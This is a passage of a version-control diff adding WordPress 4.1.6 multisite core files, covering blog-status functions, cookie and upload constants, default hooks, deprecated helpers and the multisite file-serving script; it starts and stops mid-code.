+		if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) )
+			$global_groups = $wp_object_cache->global_groups;
+		else
+			$global_groups = false;
+
+		wp_cache_init();
+
+		if ( function_exists( 'wp_cache_add_global_groups' ) ) {
+			if ( is_array( $global_groups ) )
+				wp_cache_add_global_groups( $global_groups );
+			else
+				wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', ' blog-id-cache' ) );
+			wp_cache_add_non_persistent_groups( array( 'comment', 'counts', 'plugins' ) );
+		}
+	}
+
+	if ( did_action( 'init' ) ) {
+		$wp_roles->reinit();
+		$current_user = wp_get_current_user();
+		$current_user->for_blog( $blog );
+	}
+
+	/** This filter is documented in wp-includes/ms-blogs.php */
+	do_action( 'switch_blog', $blog, $prev_blog_id );
+
+	// If we still have items in the switched stack, consider ourselves still 'switched'
+	$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );
+
+	return true;
+}
+
+/**
+ * Determines if switch_to_blog() is in effect
+ *
+ * @since 3.5.0
+ *
+ * @return bool True if switched, false otherwise.
+ */
+function ms_is_switched() {
+	return ! empty( $GLOBALS['_wp_switched_stack'] );
+}
+
+/**
+ * Check if a particular blog is archived.
+ *
+ * @since MU
+ *
+ * @param int $id The blog id
+ * @return string Whether the blog is archived or not
+ */
+function is_archived( $id ) {
+	return get_blog_status($id, 'archived');
+}
+
+/**
+ * Update the 'archived' status of a particular blog.
+ *
+ * @since MU
+ *
+ * @param int $id The blog id
+ * @param string $archived The new status
+ * @return string $archived
+ */
+function update_archived( $id, $archived ) {
+	update_blog_status($id, 'archived', $archived);
+	return $archived;
+}
+
+/**
+ * Update a blog details field.
+ *
+ * @since MU
+ *
+ * @param int $blog_id BLog ID
+ * @param string $pref A field name
+ * @param string $value Value for $pref
+ * @return string $value
+ */
+function update_blog_status( $blog_id, $pref, $value, $deprecated = null ) {
+	global $wpdb;
+
+	if ( null !== $deprecated  )
+		_deprecated_argument( __FUNCTION__, '3.1' );
+
+	if ( ! in_array( $pref, array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id') ) )
+		return $value;
+
+	$result = $wpdb->update( $wpdb->blogs, array($pref => $value, 'last_updated' => current_time('mysql', true)), array('blog_id' => $blog_id) );
+
+	if ( false === $result )
+		return false;
+
+	refresh_blog_details( $blog_id );
+
+	if ( 'spam' == $pref ) {
+		if ( $value == 1 ) {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'make_spam_blog', $blog_id );
+		} else {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'make_ham_blog', $blog_id );
+		}
+	} elseif ( 'mature' == $pref ) {
+		if ( $value == 1 ) {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'mature_blog', $blog_id );
+		} else {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'unmature_blog', $blog_id );
+		}
+	} elseif ( 'archived' == $pref ) {
+		if ( $value == 1 ) {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'archive_blog', $blog_id );
+		} else {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'unarchive_blog', $blog_id );
+		}
+	} elseif ( 'deleted' == $pref ) {
+		if ( $value == 1 ) {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'make_delete_blog', $blog_id );
+		} else {
+			/** This filter is documented in wp-includes/ms-blogs.php */
+			do_action( 'make_undelete_blog', $blog_id );
+		}
+	} elseif ( 'public' == $pref ) {
+		/**
+		 * Fires after the current blog's 'public' setting is updated.
+		 *
+		 * @since MU
+		 *
+		 * @param int    $blog_id Blog ID.
+		 * @param string $value   The value of blog status.
+ 		 */
+		do_action( 'update_blog_public', $blog_id, $value ); // Moved here from update_blog_public().
+	}
+
+	return $value;
+}
+
+/**
+ * Get a blog details field.
+ *
+ * @since MU
+ *
+ * @param int $id The blog id
+ * @param string $pref A field name
+ * @return bool $value
+ */
+function get_blog_status( $id, $pref ) {
+	global $wpdb;
+
+	$details = get_blog_details( $id, false );
+	if ( $details )
+		return $details->$pref;
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT %s FROM {$wpdb->blogs} WHERE blog_id = %d", $pref, $id) );
+}
+
+/**
+ * Get a list of most recently updated blogs.
+ *
+ * @since MU
+ *
+ * @param mixed $deprecated Not used
+ * @param int $start The offset
+ * @param int $quantity The maximum number of blogs to retrieve. Default is 40.
+ * @return array The list of blogs
+ */
+function get_last_updated( $deprecated = '', $start = 0, $quantity = 40 ) {
+	global $wpdb;
+
+	if ( ! empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, 'MU' ); // never used
+
+	return $wpdb->get_results( $wpdb->prepare("SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' AND last_updated != '0000-00-00 00:00:00' ORDER BY last_updated DESC limit %d, %d", $wpdb->siteid, $start, $quantity ) , ARRAY_A );
+}
+
+/**
+ * Handler for updating the blog date when a post is published or an already published post is changed.
+ *
+ * @since 3.3.0
+ *
+ * @param string $new_status The new post status
+ * @param string $old_status The old post status
+ * @param object $post Post object
+ */
+function _update_blog_date_on_post_publish( $new_status, $old_status, $post ) {
+	$post_type_obj = get_post_type_object( $post->post_type );
+	if ( ! $post_type_obj || ! $post_type_obj->public ) {
+		return;
+	}
+
+	if ( 'publish' != $new_status && 'publish' != $old_status ) {
+		return;
+	}
+
+	// Post was freshly published, published post was saved, or published post was unpublished.
+
+	wpmu_update_blogs_date();
+}
+
+/**
+ * Handler for updating the blog date when a published post is deleted.
+ *
+ * @since 3.4.0
+ *
+ * @param int $post_id Post ID
+ */
+function _update_blog_date_on_post_delete( $post_id ) {
+	$post = get_post( $post_id );
+
+	$post_type_obj = get_post_type_object( $post->post_type );
+	if ( ! $post_type_obj || ! $post_type_obj->public ) {
+		return;
+	}
+
+	if ( 'publish' != $post->post_status ) {
+		return;
+	}
+
+	wpmu_update_blogs_date();
+}
+
+/**
+ * Handler for updating the blog posts count date when a post is deleted.
+ *
+ * @since 4.0.0
+ *
+ * @param int $post_id Post ID.
+ */
+function _update_posts_count_on_delete( $post_id ) {
+	$post = get_post( $post_id );
+
+	if ( ! $post || 'publish' !== $post->post_status ) {
+		return;
+	}
+
+	update_posts_count();
+}
+
+/**
+ * Handler for updating the blog posts count date when a post status changes.
+ *
+ * @since 4.0.0
+ *
+ * @param string $new_status The status the post is changing to.
+ * @param string $old_status The status the post is changing from.
+ */
+function _update_posts_count_on_transition_post_status( $new_status, $old_status ) {
+	if ( $new_status === $old_status ) {
+		return;
+	}
+
+	if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
+		return;
+	}
+
+	update_posts_count();
+}
+
Index: /tags/4.1.6/src/wp-includes/ms-default-constants.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ms-default-constants.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ms-default-constants.php	(revision 33402)
@@ -0,0 +1,153 @@
+<?php
+/**
+ * Defines constants and global variables that can be overridden, generally in wp-config.php.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/**
+ * Defines Multisite upload constants.
+ *
+ * Exists for backward compatibility with legacy file-serving through
+ * wp-includes/ms-files.php (wp-content/blogs.php in MU).
+ *
+ * @since 3.0.0
+ */
+function ms_upload_constants() {
+	global $wpdb;
+
+	// This filter is attached in ms-default-filters.php but that file is not included during SHORTINIT.
+	add_filter( 'default_site_option_ms_files_rewriting', '__return_true' );
+
+	if ( ! get_site_option( 'ms_files_rewriting' ) )
+		return;
+
+	// Base uploads dir relative to ABSPATH
+	if ( !defined( 'UPLOADBLOGSDIR' ) )
+		define( 'UPLOADBLOGSDIR', 'wp-content/blogs.dir' );
+
+	// Note, the main site in a post-MU network uses wp-content/uploads.
+	// This is handled in wp_upload_dir() by ignoring UPLOADS for this case.
+	if ( ! defined( 'UPLOADS' ) ) {
+		define( 'UPLOADS', UPLOADBLOGSDIR . "/{$wpdb->blogid}/files/" );
+
+		// Uploads dir relative to ABSPATH
+		if ( 'wp-content/blogs.dir' == UPLOADBLOGSDIR && ! defined( 'BLOGUPLOADDIR' ) )
+			define( 'BLOGUPLOADDIR', WP_CONTENT_DIR . "/blogs.dir/{$wpdb->blogid}/files/" );
+	}
+}
+
+/**
+ * Defines Multisite cookie constants.
+ *
+ * @since 3.0.0
+ */
+function ms_cookie_constants(  ) {
+	$current_site = get_current_site();
+
+	/**
+	 * @since 1.2.0
+	 */
+	if ( !defined( 'COOKIEPATH' ) )
+		define( 'COOKIEPATH', $current_site->path );
+
+	/**
+	 * @since 1.5.0
+	 */
+	if ( !defined( 'SITECOOKIEPATH' ) )
+		define( 'SITECOOKIEPATH', $current_site->path );
+
+	/**
+	 * @since 2.6.0
+	 */
+	if ( !defined( 'ADMIN_COOKIE_PATH' ) ) {
+		if ( ! is_subdomain_install() || trim( parse_url( get_option( 'siteurl' ), PHP_URL_PATH ), '/' ) ) {
+			define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH );
+		} else {
+			define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );
+		}
+	}
+
+	/**
+	 * @since 2.0.0
+	 */
+	if ( !defined('COOKIE_DOMAIN') && is_subdomain_install() ) {
+		if ( !empty( $current_site->cookie_domain ) )
+			define('COOKIE_DOMAIN', '.' . $current_site->cookie_domain);
+		else
+			define('COOKIE_DOMAIN', '.' . $current_site->domain);
+	}
+}
+
+/**
+ * Defines Multisite file constants.
+ *
+ * Exists for backward compatibility with legacy file-serving through
+ * wp-includes/ms-files.php (wp-content/blogs.php in MU).
+ *
+ * @since 3.0.0
+ */
+function ms_file_constants() {
+	/**
+	 * Optional support for X-Sendfile header
+	 * @since 3.0.0
+	 */
+	if ( !defined( 'WPMU_SENDFILE' ) )
+		define( 'WPMU_SENDFILE', false );
+
+	/**
+	 * Optional support for X-Accel-Redirect header
+	 * @since 3.0.0
+	 */
+	if ( !defined( 'WPMU_ACCEL_REDIRECT' ) )
+		define( 'WPMU_ACCEL_REDIRECT', false );
+}
+
+/**
+ * Defines Multisite subdomain constants and handles warnings and notices.
+ *
+ * VHOST is deprecated in favor of SUBDOMAIN_INSTALL, which is a bool.
+ *
+ * On first call, the constants are checked and defined. On second call,
+ * we will have translations loaded and can trigger warnings easily.
+ *
+ * @since 3.0.0
+ */
+function ms_subdomain_constants() {
+	static $subdomain_error = null;
+	static $subdomain_error_warn = null;
+
+	if ( false === $subdomain_error ) {
+		return;
+	}
+
+	if ( $subdomain_error ) {
+		$vhost_deprecated = __( 'The constant <code>VHOST</code> <strong>is deprecated</strong>. Use the boolean constant <code>SUBDOMAIN_INSTALL</code> in wp-config.php to enable a subdomain configuration. Use is_subdomain_install() to check whether a subdomain configuration is enabled.' );
+		if ( $subdomain_error_warn ) {
+			trigger_error( __( '<strong>Conflicting values for the constants VHOST and SUBDOMAIN_INSTALL.</strong> The value of SUBDOMAIN_INSTALL will be assumed to be your subdomain configuration setting.' ) . ' ' . $vhost_deprecated, E_USER_WARNING );
+		} else {
+	 		_deprecated_argument( 'define()', '3.0', $vhost_deprecated );
+		}
+		return;
+	}
+
+	if ( defined( 'SUBDOMAIN_INSTALL' ) && defined( 'VHOST' ) ) {
+		$subdomain_error = true;
+		if ( SUBDOMAIN_INSTALL !== ( 'yes' == VHOST ) ) {
+			$subdomain_error_warn = true;
+		}
+	} elseif ( defined( 'SUBDOMAIN_INSTALL' ) ) {
+		$subdomain_error = false;
+		define( 'VHOST', SUBDOMAIN_INSTALL ? 'yes' : 'no' );
+	} elseif ( defined( 'VHOST' ) ) {
+		$subdomain_error = true;
+		define( 'SUBDOMAIN_INSTALL', 'yes' == VHOST );
+	} else {
+		$subdomain_error = false;
+		define( 'SUBDOMAIN_INSTALL', false );
+		define( 'VHOST', 'no' );
+	}
+}
+add_action( 'init', 'ms_subdomain_constants' );
Index: /tags/4.1.6/src/wp-includes/ms-default-filters.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ms-default-filters.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ms-default-filters.php	(revision 33402)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * Sets up the default filters and actions for Multisite.
+ *
+ * If you need to remove a default hook, this file will give you the priority
+ * for which to use to remove the hook.
+ *
+ * Not all of the Multisite default hooks are found in ms-default-filters.php
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @see default-filters.php
+ * @since 3.0.0
+ */
+
+// Users
+add_filter( 'wpmu_validate_user_signup', 'signup_nonce_check' );
+add_action( 'init', 'maybe_add_existing_user_to_blog' );
+add_action( 'wpmu_new_user', 'newuser_notify_siteadmin' );
+add_action( 'wpmu_activate_user', 'add_new_user_to_blog', 10, 3 );
+add_filter( 'sanitize_user', 'strtolower' );
+
+// Blogs
+add_filter( 'wpmu_validate_blog_signup', 'signup_nonce_check' );
+add_action( 'wpmu_new_blog', 'wpmu_log_new_registrations', 10, 2 );
+add_action( 'wpmu_new_blog', 'newblog_notify_siteadmin', 10, 2 );
+
+// Register Nonce
+add_action( 'signup_hidden_fields', 'signup_nonce_fields' );
+
+// Template
+add_action( 'template_redirect', 'maybe_redirect_404' );
+add_filter( 'allowed_redirect_hosts', 'redirect_this_site' );
+
+// Administration
+add_filter( 'term_id_filter', 'global_terms', 10, 2 );
+add_action( 'delete_post', '_update_posts_count_on_delete' );
+add_action( 'delete_post', '_update_blog_date_on_post_delete' );
+add_action( 'transition_post_status', '_update_blog_date_on_post_publish', 10, 3 );
+add_action( 'transition_post_status', '_update_posts_count_on_transition_post_status', 10, 2 );
+
+// Counts
+add_action( 'admin_init', 'wp_schedule_update_network_counts');
+add_action( 'update_network_counts', 'wp_update_network_counts');
+foreach ( array( 'user_register', 'deleted_user', 'wpmu_new_user', 'make_spam_user', 'make_ham_user' ) as $action )
+	add_action( $action, 'wp_maybe_update_network_user_counts' );
+foreach ( array( 'make_spam_blog', 'make_ham_blog', 'archive_blog', 'unarchive_blog', 'make_delete_blog', 'make_undelete_blog' ) as $action )
+	add_action( $action, 'wp_maybe_update_network_site_counts' );
+unset( $action );
+
+// Files
+add_filter( 'wp_upload_bits', 'upload_is_file_too_big' );
+add_filter( 'import_upload_size_limit', 'fix_import_form_size' );
+add_filter( 'upload_mimes', 'check_upload_mimes' );
+add_filter( 'upload_size_limit', 'upload_size_limit_filter' );
+add_action( 'upload_ui_over_quota', 'multisite_over_quota_message' );
+
+// Mail
+add_action( 'phpmailer_init', 'fix_phpmailer_messageid' );
+
+// Disable somethings by default for multisite
+add_filter( 'enable_update_services_configuration', '__return_false' );
+if ( ! defined('POST_BY_EMAIL') || ! POST_BY_EMAIL ) // back compat constant.
+	add_filter( 'enable_post_by_email_configuration', '__return_false' );
+if ( ! defined('EDIT_ANY_USER') || ! EDIT_ANY_USER ) // back compat constant.
+	add_filter( 'enable_edit_any_user_configuration', '__return_false' );
+add_filter( 'force_filtered_html_on_import', '__return_true' );
+
+// WP_HOME and WP_SITEURL should not have any effect in MS
+remove_filter( 'option_siteurl', '_config_wp_siteurl' );
+remove_filter( 'option_home',    '_config_wp_home'    );
+
+// Some options changes should trigger blog details refresh.
+add_action( 'update_option_blogname',   'refresh_blog_details', 10, 0 );
+add_action( 'update_option_siteurl',    'refresh_blog_details', 10, 0 );
+add_action( 'update_option_post_count', 'refresh_blog_details', 10, 0 );
+
+// If the network upgrade hasn't run yet, assume ms-files.php rewriting is used.
+add_filter( 'default_site_option_ms_files_rewriting', '__return_true' );
+
+// Whitelist multisite domains for HTTP requests
+add_filter( 'http_request_host_is_external', 'ms_allowed_http_request_hosts', 20, 2 );
Index: /tags/4.1.6/src/wp-includes/ms-deprecated.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ms-deprecated.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ms-deprecated.php	(revision 33402)
@@ -0,0 +1,345 @@
+<?php
+/**
+ * Deprecated functions from WordPress MU and the multisite feature. You shouldn't
+ * use these functions and look for the alternatives instead. The functions will be
+ * removed in a later version.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ * @since 3.0.0
+ */
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+/**
+ * Get the "dashboard blog", the blog where users without a blog edit their profile data.
+ * Dashboard blog functionality was removed in WordPress 3.1, replaced by the user admin.
+ *
+ * @since MU
+ * @deprecated 3.1.0
+ * @see get_blog_details()
+ * @return int
+ */
+function get_dashboard_blog() {
+    _deprecated_function( __FUNCTION__, '3.1' );
+    if ( $blog = get_site_option( 'dashboard_blog' ) )
+        return get_blog_details( $blog );
+
+    return get_blog_details( $GLOBALS['current_site']->blog_id );
+}
+
+/**
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated Use wp_generate_password()
+ * @see wp_generate_password()
+ */
+function generate_random_password( $len = 8 ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'wp_generate_password()' );
+	return wp_generate_password( $len );
+}
+
+/**
+ * Determine if user is a site admin.
+ *
+ * Plugins should use is_multisite() instead of checking if this function exists
+ * to determine if multisite is enabled.
+ *
+ * This function must reside in a file included only if is_multisite() due to
+ * legacy function_exists() checks to determine if multisite is enabled.
+ *
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated Use is_super_admin()
+ * @see is_super_admin()
+ * @see is_multisite()
+ *
+ */
+function is_site_admin( $user_login = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'is_super_admin()' );
+
+	if ( empty( $user_login ) ) {
+		$user_id = get_current_user_id();
+		if ( !$user_id )
+			return false;
+	} else {
+		$user = get_user_by( 'login', $user_login );
+		if ( ! $user->exists() )
+			return false;
+		$user_id = $user->ID;
+	}
+
+	return is_super_admin( $user_id );
+}
+
+if ( !function_exists( 'graceful_fail' ) ) :
+/**
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated Use wp_die()
+ * @see wp_die()
+ */
+function graceful_fail( $message ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'wp_die()' );
+	$message = apply_filters( 'graceful_fail', $message );
+	$message_template = apply_filters( 'graceful_fail_template',
+'<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Error!</title>
+<style type="text/css">
+img {
+	border: 0;
+}
+body {
+line-height: 1.6em; font-family: Georgia, serif; width: 390px; margin: auto;
+text-align: center;
+}
+.message {
+	font-size: 22px;
+	width: 350px;
+	margin: auto;
+}
+</style>
+</head>
+<body>
+<p class="message">%s</p>
+</body>
+</html>' );
+	die( sprintf( $message_template, $message ) );
+}
+endif;
+
+/**
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated Use get_user_by()
+ * @see get_user_by()
+ */
+function get_user_details( $username ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'get_user_by()' );
+	return get_user_by('login', $username);
+}
+
+/**
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated Use clean_post_cache()
+ * @see clean_post_cache()
+ */
+function clear_global_post_cache( $post_id ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'clean_post_cache()' );
+}
+
+/**
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated Use is_main_site()
+ * @see is_main_site()
+ */
+function is_main_blog() {
+	_deprecated_function( __FUNCTION__, '3.0', 'is_main_site()' );
+	return is_main_site();
+}
+
+/**
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated Use is_email()
+ * @see is_email()
+ */
+function validate_email( $email, $check_domain = true) {
+	_deprecated_function( __FUNCTION__, '3.0', 'is_email()' );
+	return is_email( $email, $check_domain );
+}
+
+/**
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated No alternative available. For performance reasons this function is not recommended.
+ */
+function get_blog_list( $start = 0, $num = 10, $deprecated = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'wp_get_sites()' );
+
+	global $wpdb;
+	$blogs = $wpdb->get_results( $wpdb->prepare("SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' ORDER BY registered DESC", $wpdb->siteid), ARRAY_A );
+
+	foreach ( (array) $blogs as $details ) {
+		$blog_list[ $details['blog_id'] ] = $details;
+		$blog_list[ $details['blog_id'] ]['postcount'] = $wpdb->get_var( "SELECT COUNT(ID) FROM " . $wpdb->get_blog_prefix( $details['blog_id'] ). "posts WHERE post_status='publish' AND post_type='post'" );
+	}
+	unset( $blogs );
+	$blogs = $blog_list;
+
+	if ( false == is_array( $blogs ) )
+		return array();
+
+	if ( $num == 'all' )
+		return array_slice( $blogs, $start, count( $blogs ) );
+	else
+		return array_slice( $blogs, $start, $num );
+}
+
+/**
+ * @since MU
+ * @deprecated 3.0.0
+ * @deprecated No alternative available. For performance reasons this function is not recommended.
+ */
+function get_most_active_blogs( $num = 10, $display = true ) {
+	_deprecated_function( __FUNCTION__, '3.0' );
+
+	$blogs = get_blog_list( 0, 'all', false ); // $blog_id -> $details
+	if ( is_array( $blogs ) ) {
+		reset( $blogs );
+		foreach ( (array) $blogs as $key => $details ) {
+			$most_active[ $details['blog_id'] ] = $details['postcount'];
+			$blog_list[ $details['blog_id'] ] = $details; // array_slice() removes keys!!
+		}
+		arsort( $most_active );
+		reset( $most_active );
+		foreach ( (array) $most_active as $key => $details )
+			$t[ $key ] = $blog_list[ $key ];
+
+		unset( $most_active );
+		$most_active = $t;
+	}
+
+	if ( $display == true ) {
+		if ( is_array( $most_active ) ) {
+			reset( $most_active );
+			foreach ( (array) $most_active as $key => $details ) {
+				$url = esc_url('http://' . $details['domain'] . $details['path']);
+				echo '<li>' . $details['postcount'] . " <a href='$url'>$url</a></li>";
+			}
+		}
+	}
+	return array_slice( $most_active, 0, $num );
+}
+
+/**
+ * Redirect a user based on $_GET or $_POST arguments.
+ *
+ * The function looks for redirect arguments in the following order:
+ * 1) $_GET['ref']
+ * 2) $_POST['ref']
+ * 3) $_SERVER['HTTP_REFERER']
+ * 4) $_GET['redirect']
+ * 5) $_POST['redirect']
+ * 6) $url
+ *
+ * @since MU
+ * @deprecated 3.3.0
+ * @deprecated Use wp_redirect()
+ *
+ * @param string $url
+ */
+function wpmu_admin_do_redirect( $url = '' ) {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	$ref = '';
+	if ( isset( $_GET['ref'] ) )
+		$ref = $_GET['ref'];
+	if ( isset( $_POST['ref'] ) )
+		$ref = $_POST['ref'];
+
+	if ( $ref ) {
+		$ref = wpmu_admin_redirect_add_updated_param( $ref );
+		wp_redirect( $ref );
+		exit();
+	}
+	if ( empty( $_SERVER['HTTP_REFERER'] ) == false ) {
+		wp_redirect( $_SERVER['HTTP_REFERER'] );
+		exit();
+	}
+
+	$url = wpmu_admin_redirect_add_updated_param( $url );
+	if ( isset( $_GET['redirect'] ) ) {
+		if ( substr( $_GET['redirect'], 0, 2 ) == 's_' )
+			$url .= '&action=blogs&s='. esc_html( substr( $_GET['redirect'], 2 ) );
+	} elseif ( isset( $_POST['redirect'] ) ) {
+		$url = wpmu_admin_redirect_add_updated_param( $_POST['redirect'] );
+	}
+	wp_redirect( $url );
+	exit();
+}
+
+/**
+ * Adds an 'updated=true' argument to a URL.
+ *
+ * @since MU
+ * @deprecated 3.3.0
+ * @deprecated Use add_query_arg()
+ *
+ * @param string $url
+ * @return string
+ */
+function wpmu_admin_redirect_add_updated_param( $url = '' ) {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	if ( strpos( $url, 'updated=true' ) === false ) {
+		if ( strpos( $url, '?' ) === false )
+			return $url . '?updated=true';
+		else
+			return $url . '&updated=true';
+	}
+	return $url;
+}
+
+/**
+ * Get a numeric user ID from either an email address or a login.
+ *
+ * A numeric string is considered to be an existing user ID
+ * and is simply returned as such.
+ *
+ * @since MU
+ * @deprecated 3.6.0
+ * @deprecated Use get_user_by()
+ *
+ * @param string $string Either an email address or a login.
+ * @return int
+ */
+function get_user_id_from_string( $string ) {
+	_deprecated_function( __FUNCTION__, '3.6', 'get_user_by()' );
+
+	if ( is_email( $string ) )
+		$user = get_user_by( 'email', $string );
+	elseif ( is_numeric( $string ) )
+		return $string;
+	else
+		$user = get_user_by( 'login', $string );
+
+	if ( $user )
+		return $user->ID;
+	return 0;
+}
+
+/**
+ * Get a full blog URL, given a domain and a path.
+ *
+ * @since MU
+ * @deprecated 3.7.0
+ *
+ * @param string $domain
+ * @param string $path
+ * @return string
+ */
+function get_blogaddress_by_domain( $domain, $path ) {
+	_deprecated_function( __FUNCTION__, '3.7' );
+
+	if ( is_subdomain_install() ) {
+		$url = "http://" . $domain.$path;
+	} else {
+		if ( $domain != $_SERVER['HTTP_HOST'] ) {
+			$blogname = substr( $domain, 0, strpos( $domain, '.' ) );
+			$url = 'http://' . substr( $domain, strpos( $domain, '.' ) + 1 ) . $path;
+			// we're not installing the main blog
+			if ( $blogname != 'www.' )
+				$url .= $blogname . '/';
+		} else { // main blog
+			$url = 'http://' . $domain . $path;
+		}
+	}
+	return esc_url_raw( $url );
+}
Index: /tags/4.1.6/src/wp-includes/ms-files.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ms-files.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ms-files.php	(revision 33402)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * Multisite upload handler.
+ *
+ * @since 3.0.0
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ */
+
+define( 'SHORTINIT', true );
+require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+if( !is_multisite() )
+	die( 'Multisite support not enabled' );
+
+ms_file_constants();
+
+error_reporting( 0 );
+
+if ( $current_blog->archived == '1' || $current_blog->spam == '1' || $current_blog->deleted == '1' ) {
+	status_header( 404 );
+	die( '404 &#8212; File not found.' );
+}
+
+$file = rtrim( BLOGUPLOADDIR, '/' ) . '/' . str_replace( '..', '', $_GET[ 'file' ] );
+if ( !is_file( $file ) ) {
+	status_header( 404 );
+	die( '404 &#8212; File not found.' );
+}
+
+$mime = wp_check_filetype( $file );
+if( false === $mime[ 'type' ] && function_exists( 'mime_content_type' ) )
+	$mime[ 'type' ] = mime_content_type( $file );
+
+if( $mime[ 'type' ] )
+	$mimetype = $mime[ 'type' ];
+else
+	$mimetype = 'image/' . substr( $file, strrpos( $file, '.' ) + 1 );
+
+header( 'Content-Type: ' . $mimetype ); // always send this
+if ( false === strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) )
+	header( 'Content-Length: ' . filesize( $file ) );
+
+// Optional support for X-Sendfile and X-Accel-Redirect
+if ( WPMU_ACCEL_REDIRECT ) {
+	header( 'X-Accel-Redirect: ' . str_replace( WP_CONTENT_DIR, '', $file ) );
+	exit;
+} elseif ( WPMU_SENDFILE ) {
+	header( 'X-Sendfile: ' . $file );
+	exit;
+}
+
+$last_modified = gmdate( 'D, d M Y H:i:s', filemtime( $file ) );
+$etag = '"' . md5( $last_modified ) . '"';
+header( "Last-Modified: $last_modified GMT" );
+header( 'ETag: ' . $etag );
+header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + 100000000 ) . ' GMT' );
+
+// Support for Conditional GET - use stripslashes to avoid formatting.php dependency
+$client_etag = isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ? stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) : false;
+
+if( ! isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) )
+	$_SERVER['HTTP_IF_MODIFIED_SINCE'] = false;
+
+$client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] );
+// If string is empty, return 0. If not, attempt to parse into a timestamp
+$client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0;
+
+// Make a timestamp for our most recent modification...
+$modified_timestamp = strtotime($last_modified);
+
+if ( ( $client_last_modified && $client_etag )
+	? ( ( $client_modified_timestamp >= $modified_timestamp) && ( $client_etag == $etag ) )
+	: ( ( $client_modified_timestamp >= $modified_timestamp) || ( $client_etag == $etag ) )
+	) {
+	status_header( 304 );
+	exit;
+}
+
+// If we made it this far, just serve the file
+readfile( $file );
Index: /tags/4.1.6/src/wp-includes/ms-functions.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ms-functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ms-functions.php	(revision 33402)
@@ -0,0 +1,2436 @@
+<?php
+/**
+ * Multisite WordPress API
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/**
+ * Gets the network's site and user counts.
+ *
+ * @since MU 1.0
+ *
+ * @return array Site and user count for the network.
+ */
+function get_sitestats() {
+	$stats = array(
+		'blogs' => get_blog_count(),
+		'users' => get_user_count(),
+	);
+
+	return $stats;
+}
+
+/**
+ * Get the admin for a domain/path combination.
+ *
+ * @since MU 1.0
+ *
+ * @param string $sitedomain Optional. Site domain.
+ * @param string $path Optional. Site path.
+ * @return array The network admins
+ */
+function get_admin_users_for_domain( $sitedomain = '', $path = '' ) {
+	global $wpdb;
+
+	if ( ! $sitedomain )
+		$site_id = $wpdb->siteid;
+	else
+		$site_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $wpdb->site WHERE domain = %s AND path = %s", $sitedomain, $path ) );
+
+	if ( $site_id )
